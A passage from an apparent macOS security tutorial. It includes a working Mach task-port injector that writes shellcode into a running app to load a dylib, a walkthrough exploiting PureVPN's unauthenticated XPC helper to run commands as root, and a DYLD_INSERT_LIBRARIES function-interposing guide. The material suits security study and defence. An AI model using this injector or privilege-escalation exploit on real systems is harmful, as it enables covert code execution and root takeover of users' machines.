"\xFF\xD0" // call rax
"\x48\x83\xC4\x10" // add rsp, 0x10
"\x5D" // pop rbp
"\xC3" // ret
"LIBLIBLIBLIB"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
uid_t get_uid(pid_t pid)
{
uid_t uid = 0;
struct kinfo_proc process;
size_t buffer_size = sizeof(process);
// Compose search path for sysctl. Here you can specify PID directly.
const u_int mib_len = 4;
int mib[mib_len] = {CTL_KERN, KERN_PROC, KERN_PROC_PID, pid};
int sysctl_result = sysctl(mib, mib_len, &process, &buffer_size, NULL, 0);
// If sysctl did not fail and process with PID available - take UID.
if ((sysctl_result == 0) && (buffer_size != 0)) {
uid = process.kp_eproc.e_ucred.cr_uid;
}
return uid;
}
pid_t get_pid(NSString* bundle_id) {
pid_t pid = 0;
uid_t uid = -1;
//find applications with bundle ID
NSArray *runningApplications = [NSRunningApplication runningApplicationsWithBundleIdentifier:bundle_id];
//check if any found at all
if (runningApplications.count > 1) {
for (id app in runningApplications) {
pid = [app processIdentifier];
uid = get_uid(pid);
if (uid != 0) {
//if not root (=0) return
NSLog(@"[+] Got %@ PID: %d\n", bundle_id, pid);
return pid;
}
}
}
//if we got here, t means that we didn't find an instance
printf("[-] There is no instance of the application running as user, exiting...\n");
exit(-1);
}
int main(int argc, const char * argv[]) {
char* lib = "/tmp/CopyMessages.dylib";
uint64_t addr_of_pthread_create = (uint64_t)dlsym(RTLD_DEFAULT, "pthread_create_from_mach_thread");
uint64_t addr_of_dlopen = (uint64_t)dlopen;
char *possible_patch_location = (shellcode);
int i=0;
NSString* bundleId = [NSString stringWithUTF8String:argv[1]];
pid_t pid = get_pid(bundleId);
task_t remoteTask;
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to get task port for pid:%d, error: %s\n", pid, mach_error_string(kr));
return(-1);
}
else {
NSLog(@"[+] Got access to the task port of %d: %u\n", pid, remoteTask);
}
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to allocate stack memory in remote thread, error: %s\n", mach_error_string(kr));
exit(-1);
} else {
NSLog(@"[+] Allocated RemoteStack: 0x%llx\n", remoteStack64);
}
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) {
printf("[-] Failed to allocate code memory in remote thread, error: %s\n", mach_error_string(kr));
exit(-1);
} else {
NSLog(@"[+] Allocated RemoteCode placeholder: 0x%llx\n", remoteCode64);
}
NSLog(@"[+] Patching to pormote Mach Thread to POSIX Thread....\n", remoteCode64);
for (i = 0; i < 0x100; i++) {
possible_patch_location++;
if (memcmp(possible_patch_location, "PTHRDCRT", 8) == 0) {
NSLog(@"[+] pthread_create_from_mach_thread Address: @%llx\n", addr_of_pthread_create);
memcpy(possible_patch_location, &addr_of_pthread_create, 8);
}
if (memcmp(possible_patch_location, "DLOPEN__", 6) == 0) {
NSLog(@"[+] dlopen Address: @%llx\n", addr_of_dlopen);
memcpy(possible_patch_location, &addr_of_dlopen, sizeof(uint64_t));
}
if (memcmp(possible_patch_location, "LIBLIBLIB", 9) == 0) {
strcpy(possible_patch_location, lib);
NSLog(@"[+] Patched Dylib Path in Shellcode\n");
}
}
kr = mach_vm_write(remoteTask, remoteCode64, (vm_address_t) shellcode, CODE_SIZE);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to write into remote thread memory, error: %s\n", mach_error_string(kr));
exit(-1);
} else{
NSLog(@"[+] Injected Shellcode Into RemoteThreadMemmory !");
}
kr = vm_protect(remoteTask, remoteCode64, CODE_SIZE, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) {
printf("[!] Failed to give injected code memory proper permissions, error: %s\n", mach_error_string(kr));
exit(-1);
} else{
NSLog(@"[+] VM_PROT_READ | VM_PROT_EXECUTE Applied on Code Memory !");
}
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) {
printf("[!] Failed to give stack memory proper permissions, error: %s\n", mach_error_string(kr));
exit(-1);
} else {
NSLog(@"[+] VM_PROT_READ | VM_PROT_WRITE Applied on Stack Memory !");
}
x86_thread_state64_t remoteThreadState64;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2);
NSLog (@"[+] Remote Stack 64 0x%llx, Remote code is 0x%llx\n", remoteStack64, remoteCode64 );
remoteThreadState64.__rip = (u_int64_t) remoteCode64;
NSLog(@"[+] Set RIP to 0x%llx\n", remoteCode64);
remoteThreadState64.__rsp = (u_int64_t) remoteStack64;
NSLog(@"[+] Set RSP to 0x%llx\n", remoteStack64);
remoteThreadState64.__rbp = (u_int64_t) remoteStack64;
NSLog(@"[+] Set RBP to 0x%llx\n", remoteStack64);
thread_act_t remoteThread;
NSLog(@"[+] Executing Shellcode Thread.......\n");
kr = thread_create_running( remoteTask, x86_THREAD_STATE64,
(thread_state_t) &remoteThreadState64, x86_THREAD_STATE64_COUNT, &remoteThread);
if (kr != KERN_SUCCESS) {
printf("[-] Failed: error: %s\n", mach_error_string (kr));
return (-1);
}
NSLog(@"[+] Shellcode Executed xD\n");
return (0);
}
-
Including
dlfcn.h: This header file is required for dynamic linking functions likedlsymanddlopen. -
Defining Larger Stack and Code Sizes: The stack size (
STACK_SIZE) and code size (CODE_SIZE) have been increased to 65536 and 128, respectively. -
Shellcode: The shellcode has been updated to include more instructions. It now contains two parts: one for calling
pthread_create_from_mach_threadand another for callingdlopen. -
Using
dlsymto Get Address of Functions: The code usesdlsymto get the address ofpthread_create_from_mach_threadanddlopen. These addresses are then used to patch the shellcode. -
Patching the Shellcode: The code loops through the shellcode to find specific patterns (
"PTHRDCRT","DLOPEN__", and"LIBLIBLIB") and replaces them with the addresses obtained fromdlsymand the path to the dynamic library (lib). This allows the shellcode to callpthread_create_from_mach_threadanddlopenwith the specified library path. -
Printing Debug Information: The code includes several
NSLogstatements to print debug information, such as the addresses ofpthread_create_from_mach_threadanddlopen, and the path to the dynamic library. -
Using Larger Stack Offset: The code uses a larger offset (
STACK_SIZE / 2) to shift the stack pointer (__rsp) in theremoteThreadState64structure. This offset is used to provide more space for the stack in the remote thread.
Tese changes enhance the functionality of the code by allowing it to load a dynamic library (lib) into a target process and create a POSIX thread using pthread_create_from_mach_thread.
XPC Exploitation
XPC Fundmentals
What is XPC?
XPC is a communication mechanism in macOS and iOS that allows different processes to communicate with each other. It is used to separate tasks into different processes, enhancing security and stability by isolating potentially risky operations.
Key Components of XPC:
- XPC Services: These are the services that run in separate processes and perform specific tasks. They can be provided by both Apple and third-party developers.
- Mach Services: XPC services register Mach services to facilitate communication via Mach messages.
- Clients: Applications or processes that request services from XPC services.
- Entitlements: Special permissions required by applications to access certain XPC services.
How XPC Works:
- Service Registration: XPC services register themselves with the operating system, making them available to clients.
- Client Requests: Clients send requests to the XPC service for specific tasks or information.
- Message Passing: Communication is done through messages passed between the client and the service via Mach ports.
- Response Handling: The XPC service processes the request and sends back a response to the client.
Creating Server and Client
XPC Service (Server)
Part 1
#import <Foundation/Foundation.h>
@protocol ServiceProtocol
- (void)upperCaseString:(NSString *)aString withReply:(void (^)(NSString *))reply;
@end
@interface Service : NSObject <ServiceProtocol>
@end
- Define a protocol
ServiceProtocolwith a methodupperCaseString:withReply:. - Declare the
Serviceclass that conforms to this protocol.
Part 2
@implementation Service
- (void)upperCaseString:(NSString *)aString withReply:(void (^)(NSString *))reply {
NSString *response = [aString uppercaseString];
reply(response);
}
@end
- Implement the
upperCaseString:withReply:method to convert a string to uppercase and call the reply block with the result.
Part3
@interface ServiceDelegate : NSObject <NSXPCListenerDelegate>
@end
@implementation ServiceDelegate
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ServiceProtocol)];
newConnection.exportedObject = [Service new];
[newConnection resume];
return YES;
}
@end
int main(int argc, const char *argv[]) {
@autoreleasepool {
NSXPCListener *listener = [NSXPCListener serviceListener];
ServiceDelegate *delegate = [ServiceDelegate new];
listener.delegate = delegate;
[listener resume];
}
return 0;
}
- Define a
ServiceDelegateclass that conforms toNSXPCListenerDelegate. - Implement the
listener:shouldAcceptNewConnection:method to configure new connections. - In the
mainfunction, create anNSXPCListenerfor the service, set its delegate, and resume it to start listening for connections.
XPC Client
main.m
#import <Foundation/Foundation.h>
@protocol ServiceProtocol
- (void)upperCaseString:(NSString *)aString withReply:(void (^)(NSString *))reply;
@end
int main(int argc, const char *argv[]) {
@autoreleasepool {
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithServiceName:@"com.example.service"];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ServiceProtocol)];
[connection resume];
id<ServiceProtocol> proxy = [connection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"Remote proxy error: %@", error);
}];
[proxy upperCaseString:@"hello, server!" withReply:^(NSString *response) {
NSLog(@"Received response: %@", response);
exit(0);
}];
[[NSRunLoop currentRunLoop] run];
}
return 0;
}
Define the ServiceProtocol to match the service protocol. Create an NSXPCConnection with the service name com.example.service. Then Set the remote object interface using NSXPCInterface with the ServiceProtocol. Resume the connection to start communication. After that Get a remote object proxy that conforms to ServiceProtocol and Call the upperCaseString:withReply: method on the proxy with a string and a reply block. Start the run loop to keep the client running until the reply is received.
sequenceDiagram
participant Client
participant NSXPCConnection
participant NSXPCListener
participant Service
Client->>NSXPCConnection: Create connection to "com.example.service"
NSXPCConnection->>NSXPCListener: Establish connection
Client->>Service: Send request "hello, server!"
Service->>Service: Process the request
Service-->>Client: Send response "HELLO, SERVER!"
When XPC can be vulnerable
| Condition | Description |
|---|---|
| Service doesn’t verify at all | If the service doesn’t perform any verification, it is highly susceptible to exploitation. For example, an XPC service that accepts any connection without checking credentials. |
| Client verification process can be subverted allowing custom process connection | If the verification process for clients connecting to an XPC service is flawed, attackers can bypass it and connect using a custom process. For example, forging client credentials to access the service. |
| Code injection against the XPC client | Exploiting vulnerabilities to inject code into the client of an XPC service can allow attackers to gain unauthorized access or perform malicious actions. For example, injecting malicious code into a client to control its interactions with the XPC service. |
| DYLIB attacks against XPC client | Dynamic Library (DYLIB) attacks involve injecting malicious libraries into the client process to exploit the XPC service. For instance, using DYLD_INSERT_LIBRARIES to load a malicious library. |
| com.apple.security.get-task-allow entitlement | This entitlement allows debuggers to connect, which can be exploited if applied to production binaries, potentially allowing unauthorized access. For example, an attacker can use this to debug and manipulate the service. |
| com.apple.security.cs.allow-dyld-environment-variables entitlement set to “true” | If this entitlement is enabled, it allows dynamic library injection via environment variables, posing a significant security risk. For example, setting environment variables to load a malicious library. |
| com.apple.security.cs.disable-library-validation entitlement | This entitlement permits loading of third-party signed dynamic libraries, which can be exploited to run malicious code. For instance, loading an unsigned malicious library into a service. |
| Service does not verify connecting process is signed with Apple-signed certificate | Ensuring the connecting process has a valid Apple-signed certificate prevents unauthorized access from self-signed or fake certificates. For example, an attacker using a fake certificate to connect. |
| Service does not verify team ID of the connecting process | Verifying the team ID ensures the connecting process belongs to the intended organization, blocking access from unauthorized entities. For example, an attacker using their own developer certificate to connect. |
| Service does not verify proper bundle ID | Checking the bundle ID helps reduce the attack surface by limiting connections to known, trusted applications. For example, an attacker spoofing a trusted application’s bundle ID. |
| Service does not verify software version number | Verifying the software version ensures that only updated, secure clients can connect, reducing risks from older, vulnerable versions. For example, using an outdated vulnerable client to exploit the service. |
| Service does not verify code signing properties | Proper verification of code signing attributes ensures that only legitimate and unaltered applications can connect to the service. For example, connecting with a modified client that bypasses security checks. |
| Service does not require specific entitlement for connection (for Apple binaries) | Requiring specific entitlements for connection adds an additional layer of security, ensuring that only authorized applications can access the service. For example, an attacker bypassing entitlement checks. |
| Service uses PID for verification instead of audit token | Using an audit token instead of a process ID for verification prevents PID reuse attacks, enhancing the security of the service connection process. For example, an attacker reusing a PID to gain access. |
Guide for Attacking XPC
I will be using PureVpn.app as an example for the guide.
Find Mach Services & Privileged Tools
You can find XPC related to an App, In 2 places either inside the app under:
- /Applications/theapp.app/Contents/XPCServices
- /Applications/theapp.app/Contents/Library And in the following directories the configuerations:
- /System/Library/LaunchDaemons
- /Library/LaunchDaemons
- /System/Library/LaunchAgents
- /Library/LaunchAgents
Mostly The
HelperToolsis under/Library/PrivilegedHelperTools/.
Identify the Services & Privileged Tools
Under /Library/LaunchDaemons, Wew can see the LaunchDaemons related to PureVpn:
~ % ls /Library/LaunchDaemons | grep pure
com.purevpn.macapp.HelperTool.plist
When we look at the com.purevpn.macapp.HelperTool.plist, We can see the following:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Debug</key>
<true/>
<key>Label</key>
<string>com.purevpn.macapp.HelperTool</string>
<key>MachServices</key>
<dict>
<key>com.purevpn.macapp.HelperTool</key>
<true/>
</dict>
<key>Program</key>
<string>/Library/PrivilegedHelperTools/com.purevpn.macapp.HelperTool</string>
<key>ProgramArguments</key>
<array>
<string>/Library/PrivilegedHelperTools/com.purevpn.macapp.HelperTool</string>
</array>
<key>StandardErrorPath</key>
<string>/var/log/PureVPNHelperLayer.log</string>
<key>StandardOutPath</key>
<string>/var/log/PureVPNHelperLayer.log</string>
</dict>
</plist>
We can see 2 things here, MachServices, Let’s Note it. And the HelperTool under the following path /Library/PrivilegedHelperTools/com.purevpn.macapp.HelperTool.
Authorization & Verification
Before Connecting to the HelperTool, There are some authorizations & verifications to be done to make sure of the client who is connecting, We have EvenBetterAuthorization, You can read about it from here to understand why it’s not enough for securing for verifying the client.
Reverse HelperTool
The first thing We have to do, When we get to reverse the HelperTool. Is to check the verifications for connecting to the services:
/* @class HelperTool */
-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
r15 = self;
rbx = [arg2 retain];
var_30 = rbx;
r12 = [arg3 retain];
rax = [r15 listener];
rax = [rax retain];
if (rax == rbx) {
[rax release];
if (r12 != 0x0) {
rbx = [[NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)] retain];
[r12 setExportedInterface:rbx];
[rbx release];
[r12 setExportedObject:r15];
[r12 resume];
[r12 release];
[var_30 release];
rax = 0x1;
}
else {
rax = __assert_rtn("-[HelperTool listener:shouldAcceptNewConnection:]", "/Users/salmanahmed/Projects/Xcode-Project/Git-Repo/PureVPNMac-Project/PureVPN-Repo/purevpn-mac-app/HelperTool/HelperTool.m", 0x7c, "newConnection != nil");
}
}
else {
rax = __assert_rtn("-[HelperTool listener:shouldAcceptNewConnection:]", "/Users/salmanahmed/Projects/Xcode-Project/Git-Repo/PureVPNMac-Project/PureVPN-Repo/purevpn-mac-app/HelperTool/HelperTool.m", 0x7a, "listener == self.listener");
}
return rax;
}
We can see here that, Anyone can connect to the XPC without any verifications. Now, It’s time to check the methods offered by com.purevpn.macapp.HelperTool. That can be exploited, We will use class-dump, We got the following results:
@protocol HelperToolProtocol
- (void)runWithCommand:(NSString *)arg1 withArguments:(NSArray *)arg2 usingSudo:(BOOL)arg3 withReply:(void (^)(BOOL))arg4;
- (void)setSecureDNSWithServiceId:(NSString *)arg1 withDNS:(NSArray *)arg2 WithReply:(void (^)(BOOL))arg3;
- (void)setMTUInterface:(NSString *)arg1 mtuValue:(NSString *)arg2 WithReply:(void (^)(BOOL))arg3;
- (void)disconnectSSTP:(void (^)(BOOL))arg1;
- (void)executeSudo:(NSArray *)arg1 WithReply:(void (^)(_Bool, NSString *, NSString *))arg2;
- (void)connectSSTP:(NSString *)arg1 withAccount:(NSString *)arg2 andPassword:(NSString *)arg3 Executable:(NSString *)arg4 mtuInterfaceValue:(NSString *)arg5 withReply:(void (^)(BOOL))arg6;
- (void)copyIPSECFiles:(NSArray *)arg1;
- (void)copySSTPFiles:(NSArray *)arg1;
- (void)executePreferencesRefInHelperToolWithReply:(void (^)(BOOL))arg1;
- (void)executeTestFunctionInHelperToolWithReply:(void (^)(BOOL))arg1;
- (void)getVersionsWithReply:(void (^)(NSString *))arg1;
- (void)deactivateOnStartupWithReply:(void (^)(BOOL))arg1;
- (void)activateOnStartupWithReply:(void (^)(BOOL))arg1;
- (void)removeAllRulesWithReply:(void (^)(BOOL))arg1;
- (void)setRules:(NSString *)arg1 withReply:(void (^)(BOOL))arg2;
- (void)setIpv6Leak:(BOOL)arg1 networkInterfaces:(NSArray *)arg2 withReply:(void (^)(BOOL))arg3;
- (void)executeVPNServiceConfigServer:(NSString *)arg1 withAccount:(NSString *)arg2 andPassword:(NSString *)arg3 andShareSecret:(NSString *)arg4 andType:(unsigned long long)arg5 HelperToolWithReply:(void (^)(NSString *, unsigned long long, int))arg6;
- (void)createXAuthKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withPassword:(NSString *)arg4 withReply:(void (^)(NSError *))arg5;
- (void)createSharedSecretKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withPassword:(NSString *)arg4 withReply:(void (^)(NSError *))arg5;
- (void)createPasswordKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withAccount:(NSString *)arg4 andPassword:(NSString *)arg5 withReply:(void (^)(NSError *))arg6;
- (void)createServicesAuthorization:(NSData *)arg1 configObj:(NewVPNServiceConfig *)arg2 usingPreferencesRef:(SCPreferencesRef)arg3 withReply:(void (^)(NSError *))arg4;
- (void)testFunctionAppsAuthorization:(NSData *)arg1 configObj:(NewVPNServiceConfig *)arg2 usingPreferencesRef:(SCPreferencesRef)arg3 withReply:(void (^)(NSError *))arg4;
- (void)bindToLowNumberPortAuthorization:(NSData *)arg1 withReply:(void (^)(NSError *, NSFileHandle *, NSFileHandle *))arg2;
- (void)writeLicenseKey:(NSString *)arg1 authorization:(NSData *)arg2 withReply:(void (^)(NSError *))arg3;
- (void)readLicenseKeyAuthorization:(NSData *)arg1 withReply:(void (^)(NSError *, NSString *))arg2;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
The tool helper offers a lot of methods, But the most interested one is runWithCommand:
/* @class HelperTool */
-(void)runWithCommand:(void *)arg2 withArguments:(void *)arg3 usingSudo:(char)arg4 withReply:(void *)arg5 {
r12 = [arg2 retain];
r15 = [arg3 retain];
r13 = [arg5 retain];
NSLog(@"%s %@", "-[HelperTool runWithCommand:withArguments:usingSudo:withReply:]", r15);
rbx = [self runCommand:r12 withArguments:r15 usingSudo:arg4];
[r15 release];
[r12 release];
(*(r13 + 0x10))(arg5, sign_extend_64(rbx));
[r13 release];
return;
}
The function here, Passes the parameters to rbx = [self runCommand:r12 withArguments:r15 usingSudo:arg4];, When we check runCommand:
/* @class HelperTool */
-(char)runCommand:(void *)arg2 withArguments:(void *)arg3 usingSudo:(char)arg4 {
r12 = arg3;
r14 = self;
r15 = [arg2 retain];
if (arg4 != 0x0) {
var_38 = r15;
r13 = [r12 retain];
rax = [NSArray arrayWithObjects:&var_38 count:0x1];
rax = [rax retain];
rbx = [rax arrayByAddingObjectsFromArray:r13];
r12 = r15;
r15 = r14;
[r13 release];
rbx = [rbx retain];
rdi = r15;
r15 = r12;
r14 = [rdi runCommand:@"/usr/bin/sudo" withArguments:rbx];
[rbx release];
[rax release];
}
else {
rbx = [r12 retain];
r14 = [r14 runCommand:r15 withArguments:rbx];
[rbx release];
}
var_30 = **___stack_chk_guard;
[r15 release];
if (**___stack_chk_guard == var_30) {
rax = sign_extend_64(r14);
}
else {
rax = __stack_chk_fail();
}
return rax;
}
It checks if arg4 is not 0, If it’s true, Then it will execute the command with sudo (as root):
r14 = [rdi runCommand:@"/usr/bin/sudo" withArguments:rbx];
We can abuse it to esclate our priviliges, By executing commands as root.
Writing The Exploit
The argument for the method offered by the HelperTool has the following arguments:
(NSString *)arg1: Which is a string (command).withArguments:(NSArray *)arg2: The arguments for the command.usingSudo:(BOOL)arg3: Argument to use sudo or no.withReply:(void (^)(BOOL))arg4;: The XPC reply.
First define the protocol and services variable
#import <Foundation/Foundation.h>
// MachServices to connect to
static NSString* kXPCHelperMachService = @"com.purevpn.macapp.HelperTool";
// Protocol of HelperTool to be used
@protocol HelperToolProtocol
- (void)runWithCommand:(NSString *)arg1 withArguments:(NSArray *)arg2 usingSudo:(BOOL)arg3 withReply:(void (^)(BOOL))arg4;
- (void)setSecureDNSWithServiceId:(NSString *)arg1 withDNS:(NSArray *)arg2 WithReply:(void (^)(BOOL))arg3;
- (void)setMTUInterface:(NSString *)arg1 mtuValue:(NSString *)arg2 WithReply:(void (^)(BOOL))arg3;
- (void)disconnectSSTP:(void (^)(BOOL))arg1;
- (void)executeSudo:(NSArray *)arg1 WithReply:(void (^)(_Bool, NSString *, NSString *))arg2;
- (void)connectSSTP:(NSString *)arg1 withAccount:(NSString *)arg2 andPassword:(NSString *)arg3 Executable:(NSString *)arg4 mtuInterfaceValue:(NSString *)arg5 withReply:(void (^)(BOOL))arg6;
- (void)copyIPSECFiles:(NSArray *)arg1;
- (void)copySSTPFiles:(NSArray *)arg1;
- (void)executePreferencesRefInHelperToolWithReply:(void (^)(BOOL))arg1;
- (void)executeTestFunctionInHelperToolWithReply:(void (^)(BOOL))arg1;
- (void)getVersionsWithReply:(void (^)(NSString *))arg1;
- (void)deactivateOnStartupWithReply:(void (^)(BOOL))arg1;
- (void)activateOnStartupWithReply:(void (^)(BOOL))arg1;
- (void)removeAllRulesWithReply:(void (^)(BOOL))arg1;
- (void)setRules:(NSString *)arg1 withReply:(void (^)(BOOL))arg2;
- (void)setIpv6Leak:(BOOL)arg1 networkInterfaces:(NSArray *)arg2 withReply:(void (^)(BOOL))arg3;
- (void)executeVPNServiceConfigServer:(NSString *)arg1 withAccount:(NSString *)arg2 andPassword:(NSString *)arg3 andShareSecret:(NSString *)arg4 andType:(unsigned long long)arg5 HelperToolWithReply:(void (^)(NSString *, unsigned long long, int))arg6;
- (void)createXAuthKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withPassword:(NSString *)arg4 withReply:(void (^)(NSError *))arg5;
- (void)createSharedSecretKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withPassword:(NSString *)arg4 withReply:(void (^)(NSError *))arg5;
- (void)createPasswordKeyChainItemAuthorization:(NSData *)arg1 lable:(NSString *)arg2 forService:(NSString *)arg3 withAccount:(NSString *)arg4 andPassword:(NSString *)arg5 withReply:(void (^)(NSError *))arg6;
- (void)createServicesAuthorization:(NSData *)arg1 configObj:(NewVPNServiceConfig *)arg2 usingPreferencesRef:(SCPreferencesRef)arg3 withReply:(void (^)(NSError *))arg4;
- (void)testFunctionAppsAuthorization:(NSData *)arg1 configObj:(NewVPNServiceConfig *)arg2 usingPreferencesRef:(SCPreferencesRef)arg3 withReply:(void (^)(NSError *))arg4;
- (void)bindToLowNumberPortAuthorization:(NSData *)arg1 withReply:(void (^)(NSError *, NSFileHandle *, NSFileHandle *))arg2;
- (void)writeLicenseKey:(NSString *)arg1 authorization:(NSData *)arg2 withReply:(void (^)(NSError *))arg3;
- (void)readLicenseKeyAuthorization:(NSData *)arg1 withReply:(void (^)(NSError *, NSString *))arg2;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
Second initialize our XPC connection
Now, We will start connecting to the service and exploit the method:
- Initialize XPC connection for our MachServices
int main(void) {
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:kXPCHelperMachService];
- Initialize interface with the protocol
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
- Set the interface and Start the connection
[connection setRemoteObjectInterface:interface];
[connection resume];
- Define the connection object
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError *error) {
if (error) {
NSLog(@"[+] Error: %@", error);
}
}];
- Before calling the
runWithCommandMethod we need to define the arguments
// Define the command
NSString* cmd = @"touch";
// Define command arguments
NSArray* args = [NSArray arrayWithObjects:@"/tmp/zeyadazima.com", @"", nil];
- Now, Call the method from the object
[obj runWithCommand:cmd withArguments:args usingSudo:YES withReply:^(BOOL err) {
NSLog(@"[+] Reply, %d", err);
}];
return 0;
}
- Results
~ % cd /tmp
/tmp % ls
com.apple.installerUHykChAa powerlog
com.apple.launchd.l1jND8ppqA tmp0000468a
/tmp % ./pure
/tmp % ls -l
total 0
drwx------ 3 zeyadazima.com_macenv wheel 96 Jun 10 05:24 com.apple.installerUHykChAa
drwx------ 3 zeyadazima.com_macenv wheel 96 Jun 10 03:33 com.apple.launchd.l1jND8ppqA
drwxr-xr-x 2 root wheel 64 Jun 8 09:10 powerlog
drwx------ 3 root wheel 96 Jun 10 05:25 tmp0000468a
-rw-r--r-- 1 root wheel 0 Jun 10 22:32 zeyadazima.com
We can see that the results shows that the file created successfully.
macOS Function Hooking
Function Interposing
Function interposing on macOS is a technique that allows you to override or intercept calls to existing functions within dynamic libraries at runtime. This can be useful for various purposes, such as debugging, profiling, or altering the behavior of existing functions without modifying the source code. To create a dylib for function interposing, you need to add an __interpose section (or a section flagged with S_INTERPOSING) in the DATA segment of the Mach-O file. This section will contain pairs of function pointers linking the original and replacement functions. Then, use DYLD_INSERT_LIBRARIES to inject the dylib into the target application, as interposing must occur before the main application loads.
How Function Interposing Works
- Dynamic Linker and DYLD: macOS uses a dynamic linker (
dyld) that handles the loading of dynamic libraries (dylibs) and the resolution of function addresses at runtime. - Interposing Functions: By using specific linker options and environment variables, you can tell dyld to replace certain function calls with your own implementations.
- Interposing Dylib: You create a custom dynamic library that provides your versions of the functions you want to interpose.
- Environment Variables: You set environment variables (e.g.,
DYLD_INSERT_LIBRARIES) to specify the path to your interposing dylib.
Steps to Implement Function Interposing
#include <stdio.h>
#include <fcntl.h>
#include <stdarg.h>
#include <dlfcn.h>
int my_open(const char *path, int oflag, ...) {
printf("Intercepted open call: %s\n", path);
// Call the original open function
va_list args;
va_start(args, oflag);
int mode = va_arg(args, int);
int (*original_open)(const char *, int, ...) = dlsym(RTLD_NEXT, "open");
va_end(args);
return original_open(path, oflag, mode);
}
DYLD_INTERPOSE(my_open, open);
let’’s explain our code here in steps:
- Define the Interposing Macro
Define the DYLD_INTERPOSE macro in your C file. This macro helps create an __interpose section in the Mach-O file.
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA,__interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
- Implement the Custom
openFunction
Define your custom version of open. This function will replace the original open when the dylib is injected.
#include <stdio.h>
#include <fcntl.h>
#include <stdarg.h>
#include <dlfcn.h>
int my_open(const char *path, int oflag, ...) {
printf("Intercepted open call: %s\n", path);
// Call the original open function
va_list args;
va_start(args, oflag);
int mode = va_arg(args, int);
int (*original_open)(const char *, int, ...) = dlsym(RTLD_NEXT, "open");
va_end(args);
return original_open(path, oflag, mode);
}
- Call the Interposing Macro
Use the DYLD_INTERPOSE macro to specify the replacement of open with my_open.
DYLD_INTERPOSE(my_open, open);
- Compile the Interposing Dylib
gcc -dynamiclib interpose.c -o interpose.dylib
- Verify the Interpose Section
Use the size command to verify the presence of the __interpose section in the compiled dylib.
size -x -m -l interpose.dylib
Expected output should show an __interpose section in the __DATA segment.
- Inject the Dylib and Run the Application
Use the DYLD_INSERT_LIBRARIES environment variable to inject the interposing dylib into your application.
export DYLD_INSERT_LIBRARIES=./interpose.dylib
export DYLD_FORCE_FLAT_NAMESPACE=1
./your_application
sequenceDiagram
participant UserApp
participant DYLD
participant InterposeDylib
participant OriginalLib
UserApp->>DYLD: Load UserApp
DYLD->>InterposeDylib: Load InterposeDylib
InterposeDylib->>OriginalLib: Load OriginalLib (if needed)
UserApp->>DYLD: Call open()
DYLD->>InterposeDylib: Redirect to interposing open()
InterposeDylib->>InterposeDylib: Print intercepted message
InterposeDylib->>OriginalLib: Call original open()
OriginalLib-->>InterposeDylib: Return from open()
InterposeDylib-->>UserApp: Return from open()
- Dynamic Linker and DYLD:
- The user application (
UserApp) is loaded by the dynamic linker (DYLD).
- The user application (
- Interposing Functions:
- DYLD loads the interposing dynamic library (
InterposeDylib) which contains the interposed function implementations. - If necessary,
InterposeDylibwill also load the original library (OriginalLib).
- DYLD loads the interposing dynamic library (
- Environment Variables:
- The environment variable (
DYLD_INSERT_LIBRARIES) instructs DYLD to use the interposing dylib for specific function calls. - When
UserAppcalls a function likeopen, DYLD redirects this call to the interposing function inInterposeDylib. - The interposing function can perform additional actions (e.g., printing a message) before calling the original function from
OriginalLib. - The result of the original function is returned back through the interposing dylib to the user application.
- The environment variable (
